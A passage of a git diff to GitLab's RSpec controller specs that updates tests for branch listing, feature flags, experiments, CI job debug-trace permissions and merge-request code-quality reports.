- stub_client(repos: [@repo], incompatible_repos: [])
-
- get :status
-
- expect(assigns(:already_added_projects)).to eq([@project])
- expect(assigns(:repos)).to eq([@repo])
- expect(assigns(:incompatible_repos)).to eq([])
- end
-
- it "does not show already added project" do
- @project = create(:project, import_type: 'google_code', creator_id: user.id, import_source: 'vim')
- stub_client(repos: [@repo], incompatible_repos: [])
-
- get :status
-
- expect(assigns(:already_added_projects)).to eq([@project])
- expect(assigns(:repos)).to eq([])
- end
-
- it "does not show any invalid projects" do
- stub_client(repos: [], incompatible_repos: [@repo])
-
- get :status
-
- expect(assigns(:repos)).to be_empty
- expect(assigns(:incompatible_repos)).to eq([@repo])
- end
- end
-
- describe "POST create" do
- it_behaves_like 'project import rate limiter'
- end
-end
diff --git a/spec/controllers/invites_controller_spec.rb b/spec/controllers/invites_controller_spec.rb
index 2d13b942c31..e863f5ef2fc 100644
--- a/spec/controllers/invites_controller_spec.rb
+++ b/spec/controllers/invites_controller_spec.rb
@@ -22,43 +22,6 @@ RSpec.describe InvitesController, :snowplow do
end
end
- shared_examples "tracks the 'accepted' event for the invitation reminders experiment" do
- before do
- stub_experiment(invitation_reminders: true)
- allow(Gitlab::Experimentation).to receive(:enabled_for_attribute?).with(:invitation_reminders, member.invite_email).and_return(experimental_group)
- end
-
- context 'when in the control group' do
- let(:experimental_group) { false }
-
- it "tracks the 'accepted' event" do
- request
-
- expect_snowplow_event(
- category: 'Growth::Acquisition::Experiment::InvitationReminders',
- label: md5_member_global_id,
- property: 'control_group',
- action: 'accepted'
- )
- end
- end
-
- context 'when in the experimental group' do
- let(:experimental_group) { true }
-
- it "tracks the 'accepted' event" do
- request
-
- expect_snowplow_event(
- category: 'Growth::Acquisition::Experiment::InvitationReminders',
- label: md5_member_global_id,
- property: 'experimental_group',
- action: 'accepted'
- )
- end
- end
- end
-
describe 'GET #show' do
subject(:request) { get :show, params: params }
@@ -87,7 +50,6 @@ RSpec.describe InvitesController, :snowplow do
expect(flash[:notice]).to be_nil
end
- it_behaves_like "tracks the 'accepted' event for the invitation reminders experiment"
it_behaves_like 'invalid token'
end
@@ -119,7 +81,6 @@ RSpec.describe InvitesController, :snowplow do
subject(:request) { post :accept, params: params }
- it_behaves_like "tracks the 'accepted' event for the invitation reminders experiment"
it_behaves_like 'invalid token'
end
diff --git a/spec/controllers/omniauth_callbacks_controller_spec.rb b/spec/controllers/omniauth_callbacks_controller_spec.rb
index 291d51348e6..edd587389cb 100644
--- a/spec/controllers/omniauth_callbacks_controller_spec.rb
+++ b/spec/controllers/omniauth_callbacks_controller_spec.rb
@@ -367,8 +367,8 @@ RSpec.describe OmniauthCallbacksController, type: :controller do
before do
stub_last_request_id(last_request_id)
- stub_omniauth_saml_config({ enabled: true, auto_link_saml_user: true, allow_single_sign_on: ['saml'],
- providers: [saml_config] })
+ stub_omniauth_saml_config(enabled: true, auto_link_saml_user: true, allow_single_sign_on: ['saml'],
+ providers: [saml_config])
mock_auth_hash_with_saml_xml('saml', +'my-uid', user.email, mock_saml_response)
request.env['devise.mapping'] = Devise.mappings[:user]
request.env['omniauth.auth'] = Rails.application.env_config['omniauth.auth']
diff --git a/spec/controllers/profiles/gpg_keys_controller_spec.rb b/spec/controllers/profiles/gpg_keys_controller_spec.rb
new file mode 100644
index 00000000000..93f899df484
--- /dev/null
+++ b/spec/controllers/profiles/gpg_keys_controller_spec.rb
@@ -0,0 +1,19 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Profiles::GpgKeysController do
+ let(:user) { create(:user, email: GpgHelpers::User1.emails[0]) }
+
+ describe 'POST #create' do
+ before do
+ sign_in(user)
+ end
+
+ it 'creates a new key' do
+ expect do
+ post :create, params: { gpg_key: build(:gpg_key).attributes }
+ end.to change { GpgKey.count }.by(1)
+ end
+ end
+end
diff --git a/spec/controllers/profiles/keys_controller_spec.rb b/spec/controllers/profiles/keys_controller_spec.rb
index 17964ef4a43..66f6135df1e 100644
--- a/spec/controllers/profiles/keys_controller_spec.rb
+++ b/spec/controllers/profiles/keys_controller_spec.rb
@@ -20,108 +20,4 @@ RSpec.describe Profiles::KeysController do
expect(Key.last.expires_at).to be_like_time(expires_at)
end
end
-
- describe "#get_keys" do
- describe "non existent user" do
- it "does not generally work" do
- get :get_keys, params: { username: 'not-existent' }
-
- expect(response).not_to be_successful
- end
- end
-
- describe "user with no keys" do
- it "does generally work" do
- get :get_keys, params: { username: user.username }
-
- expect(response).to be_successful
- end
-
- it "renders all keys separated with a new line" do
- get :get_keys, params: { username: user.username }
-
- expect(response.body).to eq("")
- end
- it "responds with text/plain content type" do
- get :get_keys, params: { username: user.username }
- expect(response.content_type).to eq("text/plain")
- end
- end
-
- describe "user with keys" do
- let!(:key) { create(:key, user: user) }
- let!(:another_key) { create(:another_key, user: user) }
- let!(:deploy_key) { create(:deploy_key, user: user) }
-
- describe "while signed in" do
- before do
- sign_in(user)
- end
-
- it "does generally work" do
- get :get_keys, params: { username: user.username }
-
- expect(response).to be_successful
- end
-
- it "renders all non deploy keys separated with a new line" do
- get :get_keys, params: { username: user.username }
-
- expect(response.body).not_to eq('')
- expect(response.body).to eq(user.all_ssh_keys.join("\n"))
-
- expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
- expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
-
- expect(response.body).not_to include(deploy_key.key)
- end
-
- it "does not render the comment of the key" do
- get :get_keys, params: { username: user.username }
- expect(response.body).not_to match(/dummy@gitlab.com/)
- end
-
- it "responds with text/plain content type" do
- get :get_keys, params: { username: user.username }
-
- expect(response.content_type).to eq("text/plain")
- end
- end
-
- describe 'when logged out' do
- before do
- sign_out(user)
- end
-
- it "still does generally work" do
- get :get_keys, params: { username: user.username }
-
- expect(response).to be_successful
- end
-
- it "renders all non deploy keys separated with a new line" do
- get :get_keys, params: { username: user.username }
-
- expect(response.body).not_to eq('')
- expect(response.body).to eq(user.all_ssh_keys.join("\n"))
-
- expect(response.body).to include(key.key.sub(' dummy@gitlab.com', ''))
- expect(response.body).to include(another_key.key.sub(' dummy@gitlab.com', ''))
-
- expect(response.body).not_to include(deploy_key.key)
- end
-
- it "does not render the comment of the key" do
- get :get_keys, params: { username: user.username }
- expect(response.body).not_to match(/dummy@gitlab.com/)
- end
-
- it "responds with text/plain content type" do
- get :get_keys, params: { username: user.username }
-
- expect(response.content_type).to eq("text/plain")
- end
- end
- end
- end
end
diff --git a/spec/controllers/projects/alerting/notifications_controller_spec.rb b/spec/controllers/projects/alerting/notifications_controller_spec.rb
index b3d37723ccf..3656cfbcc30 100644
--- a/spec/controllers/projects/alerting/notifications_controller_spec.rb
+++ b/spec/controllers/projects/alerting/notifications_controller_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe Projects::Alerting::NotificationsController do
expect(notify_service_class)
.to have_received(:new)
- .with(project, nil, permitted_params)
+ .with(project, permitted_params)
end
end
diff --git a/spec/controllers/projects/boards_controller_spec.rb b/spec/controllers/projects/boards_controller_spec.rb
index dad932f9cdf..1ed61e0990f 100644
--- a/spec/controllers/projects/boards_controller_spec.rb
+++ b/spec/controllers/projects/boards_controller_spec.rb
@@ -27,7 +27,7 @@ RSpec.describe Projects::BoardsController do
list_boards
expect(response).to render_template :index
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
context 'with unauthorized user' do
@@ -41,7 +41,7 @@ RSpec.describe Projects::BoardsController do
list_boards
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
@@ -57,7 +57,7 @@ RSpec.describe Projects::BoardsController do
list_boards
expect(response).to render_template :index
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
end
@@ -85,7 +85,7 @@ RSpec.describe Projects::BoardsController do
list_boards format: :json
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
end
end
@@ -127,7 +127,7 @@ RSpec.describe Projects::BoardsController do
expect { read_board board: board }.to change(BoardProjectRecentVisit, :count).by(1)
expect(response).to render_template :show
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
context 'with unauthorized user' do
@@ -141,7 +141,7 @@ RSpec.describe Projects::BoardsController do
read_board board: board
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
@@ -154,7 +154,7 @@ RSpec.describe Projects::BoardsController do
expect { read_board board: board }.to change(BoardProjectRecentVisit, :count).by(0)
expect(response).to render_template :show
- expect(response.content_type).to eq 'text/html'
+ expect(response.media_type).to eq 'text/html'
end
end
end
@@ -179,7 +179,7 @@ RSpec.describe Projects::BoardsController do
read_board board: board, format: :json
expect(response).to have_gitlab_http_status(:not_found)
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
end
end
end
diff --git a/spec/controllers/projects/branches_controller_spec.rb b/spec/controllers/projects/branches_controller_spec.rb
index 625fc5bddda..14a5e7da7d2 100644
--- a/spec/controllers/projects/branches_controller_spec.rb
+++ b/spec/controllers/projects/branches_controller_spec.rb
@@ -512,7 +512,8 @@ RSpec.describe Projects::BranchesController do
state: 'all'
}
- expect(controller.instance_variable_get(:@branch_pipeline_statuses)["master"].group).to eq("success")
+ expect(assigns[:branch_pipeline_statuses]["master"].group).to eq("success")
+ expect(assigns[:sort]).to eq('updated_desc')
end
end
@@ -543,8 +544,8 @@ RSpec.describe Projects::BranchesController do
state: 'all'
}
- expect(controller.instance_variable_get(:@branch_pipeline_statuses)["master"].group).to eq("running")
- expect(controller.instance_variable_get(:@branch_pipeline_statuses)["test"].group).to eq("success")
+ expect(assigns[:branch_pipeline_statuses]["master"].group).to eq("running")
+ expect(assigns[:branch_pipeline_statuses]["test"].group).to eq("success")
end
end
@@ -555,10 +556,11 @@ RSpec.describe Projects::BranchesController do
params: {
namespace_id: project.namespace,
project_id: project,
- state: 'all'
+ state: 'stale'
}
- expect(controller.instance_variable_get(:@branch_pipeline_statuses)).to be_blank
+ expect(assigns[:branch_pipeline_statuses]).to be_blank
+ expect(assigns[:sort]).to eq('updated_asc')
end
end
@@ -573,10 +575,12 @@ RSpec.describe Projects::BranchesController do
params: {
namespace_id: project.namespace,
project_id: project,
+ sort: 'name_asc',
state: 'all'
}
expect(response).to have_gitlab_http_status(:ok)
+ expect(assigns[:sort]).to eq('name_asc')
end
end
@@ -635,6 +639,34 @@ RSpec.describe Projects::BranchesController do
expect(response).to redirect_to project_branches_filtered_path(project, state: 'all')
end
end
+
+ context 'fetching branches for overview' do
+ before do
+ get :index, format: :html, params: {
+ namespace_id: project.namespace, project_id: project, state: 'overview'
+ }
+ end
+
+ it 'sets active and stale branches' do
+ expect(assigns[:active_branches]).to eq([])
+ expect(assigns[:stale_branches].map(&:name)).to eq(
+ ["feature", "improve/awesome", "merge-test", "markdown", "feature_conflict", "'test'"]
+ )
+ end
+
+ context 'branch_list_keyset_pagination is disabled' do
+ before do
+ stub_feature_flags(branch_list_keyset_pagination: false)
+ end
+
+ it 'sets active and stale branches' do
+ expect(assigns[:active_branches]).to eq([])
+ expect(assigns[:stale_branches].map(&:name)).to eq(
+ ["feature", "improve/awesome", "merge-test", "markdown", "feature_conflict", "'test'"]
+ )
+ end
+ end
+ end
end
describe 'GET diverging_commit_counts' do
diff --git a/spec/controllers/projects/ci/lints_controller_spec.rb b/spec/controllers/projects/ci/lints_controller_spec.rb
index c4e040b0287..d778739be38 100644
--- a/spec/controllers/projects/ci/lints_controller_spec.rb
+++ b/spec/controllers/projects/ci/lints_controller_spec.rb
@@ -82,7 +82,7 @@ RSpec.describe Projects::Ci::LintsController do
end
it 'renders json' do
- expect(response.content_type).to eq 'application/json'
+ expect(response.media_type).to eq 'application/json'
expect(parsed_body).to include('errors', 'warnings', 'jobs', 'valid')
expect(parsed_body).to match_schema('entities/lint_result_entity')
end
diff --git a/spec/controllers/projects/clusters/applications_controller_spec.rb b/spec/controllers/projects/clusters/applications_controller_spec.rb
index b50814b4790..cc6170252c1 100644
--- a/spec/controllers/projects/clusters/applications_controller_spec.rb
+++ b/spec/controllers/projects/clusters/applications_controller_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
let(:project) { cluster.project }
- let(:application) { 'helm' }
+ let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@@ -48,7 +48,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
- expect(cluster.application_helm).to be_scheduled
+ expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@@ -72,7 +72,7 @@ RSpec.describe Projects::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
- create(:clusters_applications_helm, :installing, cluster: cluster)
+ create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do
diff --git a/spec/controllers/projects/clusters_controller_spec.rb b/spec/controllers/projects/clusters_controller_spec.rb
index 52cd6869b04..dd3440f7660 100644
--- a/spec/controllers/projects/clusters_controller_spec.rb
+++ b/spec/controllers/projects/clusters_controller_spec.rb
@@ -500,7 +500,7 @@ RSpec.describe Projects::ClustersController do
expect { post_create_aws }.not_to change { Clusters::Cluster.count }
expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(response.content_type).to eq('application/json')
+ expect(response.media_type).to eq('application/json')
expect(response.body).to include('is invalid')
end
end
diff --git a/spec/controllers/projects/commits_controller_spec.rb b/spec/controllers/projects/commits_controller_spec.rb
index 557002acbc0..4cf77fde3a1 100644
--- a/spec/controllers/projects/commits_controller_spec.rb
+++ b/spec/controllers/projects/commits_controller_spec.rb
@@ -80,7 +80,7 @@ RSpec.describe Projects::CommitsController do
it "renders as atom" do
expect(response).to be_successful
- expect(response.content_type).to eq('application/atom+xml')
+ expect(response.media_type).to eq('application/atom+xml')
end
it 'renders summary with type=html' do
@@ -105,7 +105,7 @@ RSpec.describe Projects::CommitsController do
it "renders as HTML" do
expect(response).to be_successful
- expect(response.content_type).to eq('text/html')
+ expect(response.media_type).to eq('text/html')
end
end
end
diff --git a/spec/controllers/projects/cycle_analytics_controller_spec.rb b/spec/controllers/projects/cycle_analytics_controller_spec.rb
index 24c2d568d9a..ccd213fdffa 100644
--- a/spec/controllers/projects/cycle_analytics_controller_spec.rb
+++ b/spec/controllers/projects/cycle_analytics_controller_spec.rb
@@ -32,41 +32,5 @@ RSpec.describe Projects::CycleAnalyticsController do
end
end
- describe 'value stream analytics not set up flag' do
- context 'with no data' do
- it 'is true' do
- get(:show,
- params: {
- namespace_id: project.namespace,
- project_id: project
- })
-
- expect(response).to be_successful
- expect(assigns(:cycle_analytics_no_data)).to eq(true)
- end
- end
-
- context 'with data' do
- before do
- issue = create(:issue, project: project, created_at: 4.days.ago)
- milestone = create(:milestone, project: project, created_at: 5.days.ago)
- issue.update(milestone: milestone)
-
- create_merge_request_closing_issue(user, project, issue)
- end
-
- it 'is false' do
- get(:show,
- params: {
- namespace_id: project.namespace,
- project_id: project
- })
-
- expect(response).to be_successful
- expect(assigns(:cycle_analytics_no_data)).to eq(false)
- end
- end
- end
-
include_examples GracefulTimeoutHandling
end
diff --git a/spec/controllers/projects/feature_flags_controller_spec.rb b/spec/controllers/projects/feature_flags_controller_spec.rb
index 1473ec95192..d5fc80bd5a7 100644
--- a/spec/controllers/projects/feature_flags_controller_spec.rb
+++ b/spec/controllers/projects/feature_flags_controller_spec.rb
@@ -217,15 +217,6 @@ RSpec.describe Projects::FeatureFlagsController do
expect(json_response['feature_flags'].count).to eq(3)
end
-
- it 'returns only version 1 flags when new version flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expected = [feature_flag_active.name, feature_flag_inactive.name].sort
- expect(json_response['feature_flags'].map { |f| f['name'] }.sort).to eq(expected)
- end
end
end
@@ -283,24 +274,6 @@ RSpec.describe Projects::FeatureFlagsController do
expect(json_response['name']).to eq(other_feature_flag.name)
end
- it 'routes based on iid when new version flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
- other_project = create(:project)
- other_project.add_developer(user)
- other_feature_flag = create(:operations_feature_flag, project: other_project,
- name: 'other_flag')
- params = {
- namespace_id: other_project.namespace,
- project_id: other_project,
- iid: other_feature_flag.iid
- }
-
- get(:show, params: params, format: :json)
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response['name']).to eq(other_feature_flag.name)
- end
-
context 'when feature flag is not found' do
let!(:feature_flag) { }
@@ -386,14 +359,6 @@ RSpec.describe Projects::FeatureFlagsController do
expect(json_response['version']).to eq('new_version_flag')
end
- it 'returns a 404 when new version flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
-
it 'returns strategies ordered by id' do
first_strategy = create(:operations_strategy, feature_flag: new_version_feature_flag)
second_strategy = create(:operations_strategy, feature_flag: new_version_feature_flag)
@@ -791,54 +756,6 @@ RSpec.describe Projects::FeatureFlagsController do
expect(Operations::FeatureFlag.count).to eq(0)
end
end
-
- context 'when version 2 flags are disabled' do
- context 'and attempting to create a version 2 flag' do
- let(:params) do
- {
- namespace_id: project.namespace,
- project_id: project,
- operations_feature_flag: {
- name: 'my_feature_flag',
- active: true,
- version: 'new_version_flag'
- }
- }
- end
-
- it 'returns a 400' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:bad_request)
- expect(Operations::FeatureFlag.count).to eq(0)
- end
- end
-
- context 'and attempting to create a version 1 flag' do
- let(:params) do
- {
- namespace_id: project.namespace,
- project_id: project,
- operations_feature_flag: {
- name: 'my_feature_flag',
- active: true
- }
- }
- end
-
- it 'creates the flag' do
- stub_feature_flags(feature_flags_new_version: false)
-
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(Operations::FeatureFlag.count).to eq(1)
- expect(json_response['version']).to eq('legacy_flag')
- end
- end
- end
end
describe 'DELETE destroy.json' do
@@ -913,15 +830,6 @@ RSpec.describe Projects::FeatureFlagsController do
it 'deletes the flag' do
expect { subject }.to change { Operations::FeatureFlag.count }.by(-1)
end
-
- context 'when new version flags are disabled' do
- it 'returns a 404' do
- stub_feature_flags(feature_flags_new_version: false)
-
- expect { subject }.not_to change { Operations::FeatureFlag.count }
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
end
end
@@ -1610,15 +1518,6 @@ RSpec.describe Projects::FeatureFlagsController do
expect(json_response['strategies'].first['scopes']).to eq([])
end
- it 'does not update the flag if version 2 flags are disabled' do
- stub_feature_flags(feature_flags_new_version: false)
-
- put_request(new_version_flag, { name: 'some-other-name' })
-
- expect(response).to have_gitlab_http_status(:not_found)
- expect(new_version_flag.reload.name).to eq('new-feature')
- end
-
it 'updates the flag when legacy feature flags are set to be read only' do
stub_feature_flags(feature_flags_legacy_read_only: true)
diff --git a/spec/controllers/projects/issues_controller_spec.rb b/spec/controllers/projects/issues_controller_spec.rb
index 26e1842468b..12c8c84dd77 100644
--- a/spec/controllers/projects/issues_controller_spec.rb
+++ b/spec/controllers/projects/issues_controller_spec.rb
@@ -62,6 +62,56 @@ RSpec.describe Projects::IssuesController do
expect(response).to have_gitlab_http_status(:moved_permanently)
end
end
+
+ describe 'the null hypothesis experiment', :snowplow do
+ it 'defines the expected before actions' do
+ expect(controller).to use_before_action(:run_null_hypothesis_experiment)
+ end
+
+ context 'when rolled out to 100%' do
+ it 'assigns the candidate experience and tracks the event' do
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+
+ expect_snowplow_event(
+ category: 'null_hypothesis',
+ action: 'index',
+ context: [{
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0',
+ data: { variant: 'candidate', experiment: 'null_hypothesis', key: anything }
+ }]
+ )
+ end
+ end
+
+ context 'when not rolled out' do
+ before do
+ stub_feature_flags(null_hypothesis: false)
+ end
+
+ it 'assigns the control experience and tracks the event' do
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+
+ expect_snowplow_event(
+ category: 'null_hypothesis',
+ action: 'index',
+ context: [{
+ schema: 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0',
+ data: { variant: 'control', experiment: 'null_hypothesis', key: anything }
+ }]
+ )
+ end
+ end
+
+ context 'when gitlab_experiments is disabled' do
+ it 'does not run the experiment at all' do
+ stub_feature_flags(gitlab_experiments: false)
+
+ expect(controller).not_to receive(:run_null_hypothesis_experiment)
+
+ get :index, params: { namespace_id: project.namespace, project_id: project }
+ end
+ end
+ end
end
context 'internal issue tracker' do
@@ -1128,12 +1178,12 @@ RSpec.describe Projects::IssuesController do
{ merge_request_to_resolve_discussions_of: merge_request.iid }
end
- def post_issue(issue_params, other_params: {})
+ def post_issue(other_params: {}, **issue_params)
post :create, params: { namespace_id: project.namespace.to_param, project_id: project, issue: issue_params, merge_request_to_resolve_discussions_of: merge_request.iid }.merge(other_params)
end
it 'creates an issue for the project' do
- expect { post_issue({ title: 'Hello' }) }.to change { project.issues.reload.size }.by(1)
+ expect { post_issue(title: 'Hello') }.to change { project.issues.reload.size }.by(1)
end
it "doesn't overwrite given params" do
@@ -1157,7 +1207,7 @@ RSpec.describe Projects::IssuesController do
describe "resolving a single discussion" do
before do
- post_issue({ title: 'Hello' }, other_params: { discussion_to_resolve: discussion.id })
+ post_issue(title: 'Hello', other_params: { discussion_to_resolve: discussion.id })
end
it 'resolves a single discussion' do
discussion.first_note.reload
diff --git a/spec/controllers/projects/jobs_controller_spec.rb b/spec/controllers/projects/jobs_controller_spec.rb
index 80cb16966e5..3309b15b276 100644
--- a/spec/controllers/projects/jobs_controller_spec.rb
+++ b/spec/controllers/projects/jobs_controller_spec.rb
@@ -15,6 +15,54 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
end
describe 'GET index' do
+ describe 'pushing tracking_data to Gon' do
+ before do
+ stub_experiment(jobs_empty_state: experiment_active)
+ stub_experiment_for_subject(jobs_empty_state: in_experiment_group)
+
+ get_index
+ end
+
+ context 'when experiment not active' do
+ let(:experiment_active) { false }
+ let(:in_experiment_group) { false }
+
+ it 'does not push tracking_data to Gon' do
+ expect(Gon.tracking_data).to be_nil
+ end
+ end
+
+ context 'when experiment active and user in control group' do
+ let(:experiment_active) { true }
+ let(:in_experiment_group) { false }
+
+ it 'pushes tracking_data to Gon' do
+ expect(Gon.tracking_data).to match(
+ {
+ category: 'Growth::Activation::Experiment::JobsEmptyState',
+ action: 'click_button',
+ label: anything,
+ property: 'control_group'
+ }
+ )
+ end
+ end
+
+ context 'when experiment active and user in experimental group' do
+ let(:experiment_active) { true }
+ let(:in_experiment_group) { true }
+
+ it 'pushes tracking_data to gon' do
+ expect(Gon.tracking_data).to match(
+ category: 'Growth::Activation::Experiment::JobsEmptyState',
+ action: 'click_button',
+ label: anything,
+ property: 'experimental_group'
+ )
+ end
+ end
+ end
+
context 'when scope is pending' do
before do
create(:ci_build, :pending, pipeline: pipeline)
@@ -113,11 +161,11 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
context 'when requesting HTML' do
context 'when job exists' do
- before do
- get_show(id: job.id)
- end
+ let(:extra_params) { { id: job.id } }
it 'has a job' do
+ get_show(**extra_params)
+
expect(response).to have_gitlab_http_status(:ok)
expect(assigns(:build).id).to eq(job.id)
end
@@ -599,6 +647,46 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
expect(json_response['total']).to be_present
expect(json_response['lines'].count).to be_positive
end
+
+ context 'when CI_DEBUG_TRACE enabled' do
+ let!(:variable) { create(:ci_instance_variable, key: 'CI_DEBUG_TRACE', value: 'true') }
+
+ context 'with proper permissions on a project' do
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ it 'returns response ok' do
+ get_trace
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+
+ context 'without proper permissions for debug logging' do
+ before do
+ project.add_guest(user)
+ sign_in(user)
+ end
+
+ it 'returns response forbidden' do
+ get_trace
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with restrict_access_to_build_debug_mode feature disabled' do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ end
+
+ it 'returns response forbidden' do
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
end
context 'when job has a trace' do
@@ -806,18 +894,6 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
expect(job.reload).to be_pending
end
-
- context 'when FF ci_manual_bridges is disabled' do
- before do
- stub_feature_flags(ci_manual_bridges: false)
- end
-
- it 'returns 404' do
- post_play
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
end
end
@@ -1027,7 +1103,7 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
}
end
- context "when job has a trace artifact" do
+ context 'when job has a trace artifact' do
let(:job) { create(:ci_build, :trace_artifact, pipeline: pipeline) }
it "sets #{Gitlab::Workhorse::DETECT_HEADER} header" do
@@ -1038,6 +1114,62 @@ RSpec.describe Projects::JobsController, :clean_gitlab_redis_shared_state do
expect(response.body).to eq(job.job_artifacts_trace.open.read)
expect(response.header[Gitlab::Workhorse::DETECT_HEADER]).to eq "true"
end
+
+ context 'when CI_DEBUG_TRACE enabled' do
+ before do
+ create(:ci_instance_variable, key: 'CI_DEBUG_TRACE', value: 'true')
+ end
+
+ context 'with proper permissions for debug logging on a project' do
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ it 'returns response ok' do
+ response = subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ context 'with restrict_access_to_build_debug_mode feature disabled' do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ end
+
+ it 'returns response ok' do
+ response = subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+
+ context 'without proper permissions for debug logging on a project' do
+ before do
+ project.add_reporter(user)
+ sign_in(user)
+ end
+
+ it 'returns response forbidden' do
+ response = subject
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+
+ context 'with restrict_access_to_build_debug_mode feature disabled' do
+ before do
+ stub_feature_flags(restrict_access_to_build_debug_mode: false)
+ end
+
+ it 'returns response ok' do
+ response = subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+ end
+ end
+ end
end
context "when job has a trace file" do
diff --git a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
index bda1f1a3b1c..f4f0a9f8108 100644
--- a/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests/diffs_controller_spec.rb
@@ -74,6 +74,8 @@ RSpec.describe Projects::MergeRequests::DiffsController do
let(:merge_request) { create(:merge_request_with_diffs, target_project: project, source_project: project) }
before do
+ stub_feature_flags(diffs_gradual_load: false)
+
project.add_maintainer(user)
sign_in(user)
end
diff --git a/spec/controllers/projects/merge_requests_controller_spec.rb b/spec/controllers/projects/merge_requests_controller_spec.rb
index f159f0e6099..cf8b4c564c4 100644
--- a/spec/controllers/projects/merge_requests_controller_spec.rb
+++ b/spec/controllers/projects/merge_requests_controller_spec.rb
@@ -1498,6 +1498,121 @@ RSpec.describe Projects::MergeRequestsController do
end
end
+ describe 'GET codequality_reports' do
+ let_it_be(:merge_request) do
+ create(:merge_request,
+ :with_diffs,
+ :with_merge_request_pipeline,
+ target_project: project,
+ source_project: project
+ )
+ end
+
+ let(:pipeline) do
+ create(:ci_pipeline,
+ :success,
+ project: merge_request.source_project,
+ ref: merge_request.source_branch,
+ sha: merge_request.diff_head_sha)
+ end
+
+ before do
+ allow_any_instance_of(MergeRequest)
+ .to receive(:compare_codequality_reports)
+ .and_return(codequality_comparison)
+
+ allow_any_instance_of(MergeRequest)
+ .to receive(:actual_head_pipeline)
+ .and_return(pipeline)
+ end
+
+ subject do
+ get :codequality_reports, params: {
+ namespace_id: project.namespace.to_param,
+ project_id: project,
+ id: merge_request.iid
+ },
+ format: :json
+ end
+
+ context 'permissions on a public project with private CI/CD' do
+ let(:project) { project_public_with_private_builds }
+ let(:codequality_comparison) { { status: :parsed, data: { summary: 1 } } }
+
+ context 'while signed out' do
+ before do
+ sign_out(user)
+ end
+
+ it 'responds with a 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(response.body).to be_blank
+ end
+ end
+
+ context 'while signed in as an unrelated user' do
+ before do
+ sign_in(create(:user))
+ end
+
+ it 'responds with a 404' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ expect(response.body).to be_blank
+ end
+ end
+ end
+
+ context 'when pipeline has jobs with codequality reports' do
+ before do
+ allow_any_instance_of(MergeRequest)
+ .to receive(:has_codequality_reports?)
+ .and_return(true)
+ end
+
+ context 'when processing codequality reports is in progress' do
+ let(:codequality_comparison) { { status: :parsing } }
+
+ it 'sends polling interval' do
+ expect(Gitlab::PollingInterval).to receive(:set_header)
+
+ subject
+ end
+
+ it 'returns 204 HTTP status' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:no_content)
+ end
+ end
+
+ context 'when processing codequality reports is completed' do
+ let(:codequality_comparison) { { status: :parsed, data: { summary: 1 } } }
+
+ it 'returns codequality reports' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response).to eq({ 'summary' => 1 })
+ end
+ end
+ end
+
+ context 'when pipeline has job without a codequality report' do
